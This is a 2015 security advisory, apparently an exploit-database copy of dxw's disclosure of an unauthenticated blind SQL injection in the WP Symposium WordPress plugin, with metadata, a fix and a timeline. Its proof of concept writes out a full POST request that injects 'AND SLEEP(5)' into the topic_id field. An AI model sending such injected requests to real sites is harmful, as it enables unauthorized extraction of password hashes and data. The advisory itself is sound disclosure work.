Blind SQL Injection in WP Symposium allows unauthenticated attackers to access sensitive data

vendor:

WP Symposium

by:

dxw

6.4

CVSS

MEDIUM

Blind SQL Injection

CWE

Product Name: WP Symposium

Affected Version From: 15.1

Affected Version To: 15.7

Patch Exists: YES

Related CWE: Awaiting assignment

CPE: a:wordpress:wp_symposium

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2015

Blind SQL Injection in WP Symposium allows unauthenticated attackers to access sensitive data

An unauthenticated user can run blind sql injection of the site and extract password hashes and other information from the database.

Mitigation:

Upgrade to version 15.8 or later

Source

Exploit-DB raw data:

Details
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Software: WP Symposium
Version: 15.1
Homepage: https://wordpress.org/plugins/wp-symposium
Advisory report: https://security.dxw.com/advisories/blind-sql-injection-in-wp-symposium-allows-unauthenticated-attackers-to-access-sensitive-data/
CVE: Awaiting assignment
CVSS: 6.4 (Medium; AV:N/AC:L/Au:N/C:P/I:N/A:P)

Description
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Blind SQL Injection in WP Symposium allows unauthenticated attackers to access sensitive data

Vulnerability
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An unauthenticated user can run blind sql injection of the site and extract password hashes and other information from the database.

Proof of concept
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Perform the following POST to a site with the plugin installed. The request will take over 5 seconds to respond:
POST /wordpress/wp-content/plugins/wp-symposium/ajax/forum_functions.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:36.0) Gecko/20100101 Firefox/36.0
Accept: text/html, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1/wordpress/
Content-Length: 51
Cookie: wp-settings-1=libraryContent%3Dbrowse%26editor%3Dtinymce; wp-settings-time-1=1421717320
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
action=getTopic&topic_id=1 AND SLEEP(5)&group_id=0
 

Mitigations
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Upgrade to version 15.8 or later

Disclosure policy
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dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
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2015-03-02: Discovered
2015-07-14: Reported to simon@wpsymposium.com
2015-07-14: Requested CVE
2015-08-07: Vendor confirmed fixed in version 15.8
2015-08-10: Published


Discovered by dxw:
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Glyn Wintle
Please visit security.dxw.com for more information.